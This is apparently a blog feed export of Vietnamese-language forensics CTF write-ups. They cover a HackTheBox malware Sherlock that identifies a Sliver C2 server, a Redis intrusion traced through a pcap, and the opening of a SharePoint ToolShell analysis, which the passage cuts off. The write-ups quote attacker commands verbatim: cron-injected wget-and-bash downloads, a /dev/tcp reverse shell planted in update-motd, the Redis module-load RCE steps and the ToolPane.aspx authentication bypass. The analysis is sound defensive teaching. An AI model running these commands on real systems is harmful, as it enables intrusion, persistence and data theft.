  struct _PROCESS_INFORMATION ProcessInformation; // [rsp+108h] [rbp+B8h] BYREF
  struct _STARTUPINFOW lpStartupInfo; // [rsp+140h] [rbp+F0h] BYREF
  struct _PROCESS_INFORMATION lpProcessInformation; // [rsp+1C8h] [rbp+178h] BYREF
  HWND v12; // [rsp+1F8h] [rbp+1A8h]
  char v13; // [rsp+2D4h] [rbp+284h]

  v0 = &amp;amp;v6;
  for ( i = 130i64; i; --i )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  v13 = 0;
  sub_180070FA3(&amp;amp;unk_18019909F);
  hObject = CreateMutexW(0i64, 1, L&quot;Global\\YandaExeMutex&quot;);
  if ( !hObject
    || GetLastError() == 183
    || (StartupInfo.cb = 104,
        memset(&amp;amp;StartupInfo.lpReserved, 0, 0x60ui64),
        lpStartupInfo.cb = 104,
        memset(&amp;amp;lpStartupInfo.lpReserved, 0, 0x60ui64),
        (v12 = FindWindowW(0i64, L&quot;Yandex Browser&quot;)) != 0i64) )
  {
    CloseHandle(hObject);
  }
  else
  {
    CreateProcessW(
      L&quot;C:\\Users\\Administrator\\AppData\\Local\\Yandex\\YandexBrowser\\Application\\browser.exe&quot;,
      0i64,
      0i64,
      0i64,
      1,
      0,
      0i64,
      0i64,
      &amp;amp;StartupInfo,
      &amp;amp;ProcessInformation);
    Sleep(0x2710u);
    WindowW = FindWindowW(0i64, L&quot;yanda.tmp&quot;);
    v12 = WindowW;
    if ( !WindowW )
    {
      v13 = 1;
      CreateProcessW(
        L&quot;C:\\Users\\Administrator\\AppData\\Local\\Temp\\yanda.tmp&quot;,
        0i64,
        0i64,
        0i64,
        1,
        0,
        0i64,
        0i64,
        &amp;amp;lpStartupInfo,
        &amp;amp;lpProcessInformation);
      Sleep(0x3E8u);
    }
    CloseHandle(ProcessInformation.hProcess);
    CloseHandle(ProcessInformation.hThread);
    if ( !v13 )
      sub_18006E7BC(&quot;proc_info2&quot;);
    CloseHandle(lpProcessInformation.hProcess);
    CloseHandle(lpProcessInformation.hThread);
    CloseHandle(hObject);
    CurrentProcess = GetCurrentProcess();
    TerminateProcess(CurrentProcess, 0);
  }
  return sub_180070742(v5, &amp;amp;unk_180155D10);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Đầu tiên, nó khởi chạy trình duyệt Yandex hợp lệ: &lt;code&gt;...\browser.exe&lt;/code&gt;. Đây là hành vi tạo &lt;code&gt;Decoy&lt;/code&gt; (vỏ bọc).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sau khi sleep 10 giây thì nó sử dụng &lt;code&gt;FindWindowW(0i64, L&quot;yanda.tmp&quot;)&lt;/code&gt; để xem payload này đã chạy chưa.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Nếu chưa thấy cửa sổ của nó, mã độc gọi hàm &lt;code&gt;CreateProcessW&lt;/code&gt; với đường dẫn cụ thể tại &lt;code&gt;C:\\Users\\Administrator\\AppData\\Local\\Temp\\yanda.tmp&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Đáp án: &lt;code&gt;C:\\Users\\Administrator\\AppData\\Local\\Temp\\yanda.tmp&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 14: What is the name of the C2 framework used by the attacker?&lt;/h3&gt;
&lt;p&gt;Quay lại với &lt;code&gt;Prefetch&lt;/code&gt; thì chúng ta sẽ thấy &lt;code&gt;Certutil&lt;/code&gt; được gọi đến 2 lần (&lt;code&gt;16:36:51&lt;/code&gt; và &lt;code&gt;16:36:11&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/Hk-36m5hZg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Tương ứng với các mốc thời gian thực thi này,artifact &lt;code&gt;$J&lt;/code&gt; sẽ cho chúng ta thấy 2 file khác nhau&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;File &lt;code&gt;cert&lt;/code&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/BkNwJE5n-e.png&quot; alt=&quot;image&quot; /&gt;
Chính là file mà chúng ta đã reverse ở trên.&lt;/li&gt;
&lt;li&gt;File &lt;code&gt;tmp&lt;/code&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/HJh4x493bl.png&quot; alt=&quot;image&quot; /&gt;
Chính là file được gọi đến khi &lt;code&gt;file cert&lt;/code&gt; được thực thi.
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/BkoYe4qhbl.png&quot; alt=&quot;image&quot; /&gt;
Nhưng vấn đề là author không cung cấp cho chúng ta thư mục &lt;code&gt;Temp&lt;/code&gt; (aizzzz shiba), vậy thì lấy thông tin của C2 bằng cách nào?
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/SJv-GNch-l.png&quot; alt=&quot;image&quot; /&gt;
Sau một lúc bị stuck ở đây, nhưng chỉbằng một câu search rất đơn giản thì mình thấy được report sau trên &lt;code&gt;Any.run&lt;/code&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/Syw_bN5hbl.png&quot; alt=&quot;image&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;https://any.run/report/a64be5730df8ea564739b297be23fa5a27abf2b3f5616dc4d8603b32801a7c5b/9f2e4c1e-cbbe-4f22-90b6-ac29e00d11df
:)))) lmao, nó có đầy đủ các thông tin mà chúng ta cần.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/HJayEIFnbe.png&quot; alt=&quot;image&quot; /&gt;
nó ghi rõ thông tin về C2 framework là &lt;code&gt;Sliver&lt;/code&gt; luôn.
Đáp án: &lt;code&gt;Sliver&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 15: What is the IP address and port number of the malicious C2 server used by the attacker?&lt;/h3&gt;
&lt;p&gt;Cũng dựa vào report Any.run ở trên, chúng ta cũng trả lời được cho câu hỏi này
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/ryB6E8KhWx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đáp án: &lt;code&gt;18.192.12.126:8888&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Cảm ơn các bạn đã đọc đến đây, chúc một ngày tốt lành&lt;/p&gt;
&lt;p&gt;(\_/)&lt;br /&gt;
(•.•)&lt;br /&gt;
(&amp;gt;☕&lt;/p&gt;
&lt;p&gt;SawG, a.k.a EagleBoiz&lt;/p&gt;
</content:encoded></item><item><title>HackTheBox - RedTrail</title><link>https://sawg23.github.io/blog/posts/hackthebox/redtrails/</link><guid isPermaLink="true">https://sawg23.github.io/blog/posts/hackthebox/redtrails/</guid><description>HackTheBox Forensics challenge</description><pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;RedTrail là một challenge của HackTheBox,&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/ryrD1_CV-g.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đây là description của đề&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Our SOC team detected a suspicious activity on one of our redis instance. Despite the fact it was password protected it seems that the attacker still obtained access to it. We need to put in place a remediation strategy as soon as possible, to do that it&apos;s necessary to gather more informations about the attack used. NOTE: flag is composed by three parts.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;oke cùng giải quyết nó nào&lt;/p&gt;
&lt;h2&gt;Initial Access&lt;/h2&gt;
&lt;p&gt;Tải attachment, đề cho chúng ta một file .pcap, mở bằng nó bằng wireshark
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/HJgvZuREZe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Chúng ta có thể thấy, có rất nhiều gói &lt;strong&gt;RESP (REdis Serialization Protocol)&lt;/strong&gt;, thì đây là một giao thức được thiết kế đặt biệt cho việc client-server communication trong Redis
Mình sẽ để một số nguồn tham khảo cho các bạn muốn tìm hiểu sau về giao thức này:
https://github.com/redis/redis-specifications/blob/master/protocol/RESP2.md
https://redis-doc-test.readthedocs.io/en/latest/topics/protocol/)&lt;/p&gt;
&lt;p&gt;Follow TCP Stream để xem cụ thể nội dung các gói này là gì&lt;/p&gt;
&lt;h3&gt;tcp.stream eq 0&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/HyVk5cRV-l.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ở stream 0 này, ta thấy attacker đã thực hiện xác thực thông qua lệnh &lt;code&gt;AUTH&lt;/code&gt; và &lt;code&gt;password:1943567864&lt;/code&gt; chứng tỏ attacker đã có được thông tin đăng nhập này bằng một cách nào đó (&lt;em&gt;author không cho chúng ta context cụ thể ở phần này&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/SJBMT9AVZg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sau khi có được quyền truy cập, attacker thực hiện hành vi reconnaissance server Redis&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/rkPq0NkB-l.png&quot; alt=&quot;Screenshot 2026-01-09 222817&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Credential Exfiltration&lt;/h2&gt;
&lt;p&gt;tiếp theo, ta có thể thấy attacker đang enumeration và trích xuất các credential&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/BkuO5HyHbx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;và ở đây ta được &lt;code&gt;Flag-part2: _c0uld_0p3n_n3w&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/BykaxrkSZg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ở đây ta thấy được attacker sử dụng các lệnh:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CONFIG SET DIR /var/spool/cron&lt;/code&gt;
&lt;code&gt;CONFIG SET DBFILENAME root&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SET TY1RI8 * * * * * wget -O VgLy8V0Zxo &apos;http://files.pypi-install.com/packages/VgLy8V0Zxo&apos; &amp;amp;&amp;amp; bash VgLy8V0Zxo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;từ đó ta biết được rằng attacker đang thực hiện việc inject vào cronjob để thực thi việc drop malware và persistence.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/rypimHkSbx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;và vào phần export của wireshark, ta thấy được file bị inject vào, dump nó ra để phân tích thoi&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/Sk48ESJB-x.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ở đây shell chỉ thực hiện việc tách chuỗi thoi, không có gì khó để recover lại&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/HyJTLSJH-x.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ta thấy đoạn base64 này đang bị reverse thoi&lt;/p&gt;
&lt;h2&gt;Persistence&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/SkFmwHJHZe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sử dụng cyberchef để decode thì ta thấy nó đang thực hiện một bash script khác.&lt;/p&gt;
&lt;p&gt;Thì bash script này cũng đang thực hiện việc nối các biến chứa chuỗi base64 rồi decode và gọi bash để thực thi, ta có thể viết lại như sau:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/Bkr9YS1HWx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ở đây chúng ta thấy rõ ràng persistence theo 2 hướng khác nhau:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hướng 1:&lt;/strong&gt; attacker sẽ ghi &lt;code&gt;bash -c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.0.200/1337 0&amp;gt;&amp;amp;1&quot;&lt;/code&gt; vào file &lt;code&gt;/etc/update-motd.d/00-header&lt;/code&gt;, thì file này sẽ được thực thi để print ra banner khi có người dùng kết nối và đăng nhập thông qua SSH. Vậy nên khi có người đăng nhập vào, thì server gửi một reverse shell về &lt;code&gt;10.10.0.200:1337&lt;/code&gt; của attacker&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hướng 2:&lt;/strong&gt; script sẽ ghi vào &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; một key của attacker từ đó tạo thêm một backdoor khác mà attacker có thể dùng để access đến server victim.&lt;/p&gt;
&lt;p&gt;Trong key này, ta cũng thấy được &lt;code&gt;Flag-part1: HTB{r3d15_1n574nc35&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Write malicious RDB &amp;amp; RCE:&lt;/h2&gt;
&lt;p&gt;Đến với stream tiếp theo&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/ByjsuL1Hbe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/SJGCuIkHWe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/BkfyK8yBWl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ta thấy attacker đang thực thi một số lệnh như:
&lt;code&gt;AUTH 1943567864&lt;/code&gt;
&lt;code&gt;SLAVEOF 10.10.0.15 6379&lt;/code&gt;: cho phép attacker gửi file RDB tùy ý
&lt;code&gt;CONFIG SET DIR /data&lt;/code&gt;: CONFIG SET dbfilename x10SPFHN.so (Attacker chuẩn bị drop malicious Redis module)
&lt;code&gt;MODULE LOAD ./x10SPFHN.so&lt;/code&gt;: Redis load module độc hại
&lt;code&gt;SLAVEOF NO ONE&lt;/code&gt;, &lt;code&gt;CONFIG SET dbfilename dump.rdb&lt;/code&gt;, &lt;code&gt;system.exec rm -v ./x10SPFHN.so&lt;/code&gt;: Xóa dấu vết&lt;/p&gt;
&lt;h3&gt;Drop malware&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;wget --no-check-certificate -O gezsdSC8i3 &apos;https://files.pypi-install.com/packages/gezsdSC8i3&apos; &amp;amp;&amp;amp; bash gezsdSC8i3 &lt;/code&gt;: thể hiện rõ ràng hành vi drop và thực thi malware
sau đó
&lt;code&gt;MODULE UNLOAD system&lt;/code&gt;: xóa dấu vết&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/HJkGVq7Hbg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;oke nhìn vào các response của server, ta thấy output các lệnh RCE của attacker đã bị mã hóa.&lt;/p&gt;
&lt;h2&gt;Reverse Engineering&lt;/h2&gt;
&lt;h4&gt;Dump malicious .SO file&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/ryxS_5mBbg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Tiếp đến stream này, rõ ràng tác giả đã cố tình ép cho server phải FULLRESYNC, từ đó in ra đầy đủ file ELF, File này có thể chính là file &lt;code&gt;x10SPFHN.so&lt;/code&gt; mà ta thấy đã bị &lt;strong&gt;write out&lt;/strong&gt; ở stream trước.&lt;/p&gt;
&lt;p&gt;Nhưng có một vấn đề là, do file này được đang được hiển thị thông replication payload, nên wireshark không hiểu được đây là một object file, nên sẽ không dump được theo cách thông thường.&lt;/p&gt;
&lt;p&gt;để dump được, ta chuyển &lt;code&gt;show data as&lt;/code&gt; thành &lt;strong&gt;raw&lt;/strong&gt;, sao đó copy từ đoạn &lt;code&gt;7F 45 4c 46&lt;/code&gt; (*ELF - đây là header của executable file)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/B1Xjp9XHZl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sau đó dùng cyberchef để wrap lại thành file ELF hoàn chỉnh và save xuống.
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/HyLOTqXBWl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/HyHNRcmSZx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;oke ngonn lành:&amp;gt;&amp;gt;&lt;/p&gt;
&lt;h4&gt;RE with IDA&lt;/h4&gt;
&lt;p&gt;Oke giờ load file &lt;code&gt;x10SPFHN.so&lt;/code&gt; vào IDA
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/HyVWPjmSbg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Toi cũng không biết tại sao file này lại không mở được tab &lt;strong&gt;Strings&lt;/strong&gt;, thoi kệ, lướt chay xuống .rodata đọc luôn.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/S1uFSiXBbe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;oke thì ở đây toi thấy được string &lt;code&gt;system.exec&lt;/code&gt;, chính là lệnh mà attacker đã gọi ra để thực thi các lệnh RCE mà ta thấy ở stream 2&lt;/p&gt;
&lt;p&gt;xem xrefs thì thấy nó đang được gọi ở hàm &lt;code&gt;RedisModule_OnLoad&lt;/code&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/Hywwtimrbg.png&quot; alt=&quot;image&quot; /&gt;
Tóm tắt thì trong sau khi Module độc hại sau khi được load thì sẽ đăng ký một command mới là &lt;code&gt;system.exec&lt;/code&gt;, lệnh này nó sẽ gọi tới hàm &lt;code&gt;DoCommand&lt;/code&gt; và nhận vào các tham số để thực thi theo cú pháp sau &lt;code&gt;system.exec &amp;lt;args&amp;gt;&lt;/code&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/r1EXCi7HWx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;oke tiếp theo thì phân tích hàm &lt;code&gt;DoCommand&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/Sy2Sf2QHWe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ở biến &lt;code&gt;command&lt;/code&gt;,nó sẽ giữ giá trị là lệnh hệ điều hành do attacker gửi vào Redis.
Sau đó nó dùng &lt;code&gt;popen()&lt;/code&gt; để thực thi lệnh này. Đọc stdout của command từng phần &lt;code&gt;fgets&lt;/code&gt; sau đó wrap lại hoàn chỉnh toàn bộ output vào buffer &lt;code&gt;dest&lt;/code&gt; =&amp;gt; Remote Command Execution hoàn chỉnh.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/SkU5in7Sbl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Tiếp đến, script thực hiện setup mã hóa output của command bằng &lt;code&gt;AES-256-CBC&lt;/code&gt;, với KEY và IV lần lượt là các biến &lt;code&gt;src&lt;/code&gt; và &lt;code&gt;v28&lt;/code&gt; với giá trị là &lt;code&gt;KEY = &quot;h02B6aVgu09Kzu9QTvTOtgx9oER9WIoz&quot;&lt;/code&gt;, &lt;code&gt;IV = &quot;YDP7ECjzuV7sagMN&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/ry4IA37rWl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;sau khi đã mã hóa, nó dùng dòng lặp để duyệt và convert các byte đã được mã hóa sang &lt;code&gt;string hex&lt;/code&gt;, và gọi hàm RedisModule_ReplyWithString() để gửi lại output đến Redis client&lt;/p&gt;
&lt;p&gt;oke dựa vào quy trình mã hóa này cùng với KEY và IV, ta sẽ decrypt lại các output đã thấy ở stream 2
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/BJ3PJT7HZg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;với các lệnh và output trên, ta lần lượt decrypt và đây là kết quả:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/ry2fla7HWl.png&quot; alt=&quot;image&quot; /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/S18Ex6XHWg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;và đặt biệt, với lệnh:
&lt;code&gt;system.exec wget --no-check-certificate -O gezsdSC8i3 &apos;https://files.pypi-install.com/packages/gezsdSC8i3&apos; &amp;amp;&amp;amp; bash gezsdSC8i3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/RedTrails/S1Khx6mHbe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;thì có thể đoán được file &lt;code&gt;gezsdSC8i3&lt;/code&gt; mà attacker tải về và thực thi là để trích xuất các biến môi trường và trong các giá trị của biến môi trường này ta cũng có được &lt;code&gt;FLAG-PART3:_un3xp3c73d_7r41l5!}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;wrap 3 part lại, ta được flag hoàn chỉnh:
&lt;code&gt;HTB{r3d15_1n574nc35_c0uld_0p3n_n3w_un3xp3c73d_7r41l5!}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cảm ơn mọi người đã đọc đến đây, chúc một ngày tốt lành&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;(\_/)&lt;br /&gt;
(•.•)&lt;br /&gt;
(&amp;gt;☕&lt;br /&gt;
–– SawG, a.k.a EagleBoiz&lt;/p&gt;
</content:encoded></item><item><title>VCS Passport 2025 - Gimme Your Point</title><link>https://sawg23.github.io/blog/posts/vcs_passport_2025/gimme_your_point/</link><guid isPermaLink="true">https://sawg23.github.io/blog/posts/vcs_passport_2025/gimme_your_point/</guid><description>Một challenge trong CTF Blue của VCS Passport 2025</description><pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Gimme Your Point&lt;/strong&gt; là một challenge trong CTF Blue của VCS Passport 2025&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/ByF3YlpQbe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;đề cung cấp cho chúng ta một file .pcap&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/ByAG9l67bg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Oker mở lên xem nào&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/SyX5wWTQbg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ta thấy client đang request GET đến &lt;code&gt;30.243.67.129/_layouts/15/start.aspx&lt;/code&gt;
và ta thấy được response là &lt;strong&gt;SharePoint Start Page&lt;/strong&gt; mặc định. Ở stream này, ta chưa thấy có gì độc hại ở đây, có vẻ author muốn cho chúng ta context.&lt;/p&gt;
&lt;h1&gt;RCE (CVE-2025-53771, CVE-2025-53770)&lt;/h1&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/Hks2gMpQZg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;đến với stream tiếp theo thì request này KHÔNG phải request bình thường, mà là một bước trong chuỗi khai thác &lt;strong&gt;ToolShell&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVE-2025-53771&lt;/strong&gt; (auth bypass)
➜ &lt;strong&gt;CVE-2025-53770&lt;/strong&gt; (unsafe deserialization → RCE)&lt;/p&gt;
&lt;p&gt;Mình sẽ cung cấp 2 blog nói về 2 con CVE này ở đây:&lt;/p&gt;
&lt;p&gt;https://www.wiz.io/blog/sharepoint-vulnerabilities-cve-2025-53770-cve-2025-53771-everything-you-need-to-k&lt;/p&gt;
&lt;p&gt;https://blog.viettelcybersecurity.com/toolshell-chuoi-lo-hong-sharepoint-nghiem-trong-dang-bi-khai-thac-trong-thuc-te/&lt;/p&gt;
&lt;p&gt;Tóm tắt thì:&lt;/p&gt;
&lt;p&gt;CVE-2025-53771 kỹ thuật bypass xác thực, cho phép truy cập &lt;code&gt;ToolPane.aspx&lt;/code&gt; không cần đăng nhập.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cách khai thác&lt;/strong&gt;
SharePoint đã chặn truy cập trực tiếp:
&lt;code&gt;/_layouts/15/ToolPane.aspx&lt;/code&gt;
Tuy nhiên, nếu attacker thêm path phía sau .aspx, ví dụ:
&lt;code&gt;/_layouts/15/ToolPane.aspx/anything&lt;/code&gt;
SharePoint &lt;strong&gt;vẫn xử lý request như ToolPane.aspx&lt;/strong&gt;.
Khi kết hợp với header:
&lt;code&gt;Referer: /_layouts/SignOut.aspx&lt;/code&gt;
logic kiểm tra xác thực bị đánh lừa.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kết quả&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bypass thành công cơ chế bảo vệ&lt;/li&gt;
&lt;li&gt;Truy cập ToolPane.aspx ở chế độ ẩn danh&lt;/li&gt;
&lt;li&gt;Mở đường cho các bước khai thác tiếp theo (inject WebPart / deserialization / RCE)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/r1BkDfTQbg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Từ đó chúng ta thấy rõ ràng sự việc khai thác CVE luôn&lt;/p&gt;
&lt;p&gt;Tiếp theo là về &lt;strong&gt;CVE-2025-53770&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;Body request của attacker trong như sau:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/B1TdDfpXWx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Mình đã decode để dễ đọc hơn:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/gimme_your_point/ryifdM6QWg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;MSOTlPn_Uri
→ Tham số hợp lệ của ToolPane, dùng để đánh lừa SharePoint rằng request là một WebPart hợp pháp.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MSOTlPn_DWP
→ Payload khai thác chính. SharePoint render trực tiếp nội dung này mà không xác thực.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bên trong MSOTlPn_DWP, attacker:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Đăng ký ASP.NET control nguy hiểm&lt;/li&gt;
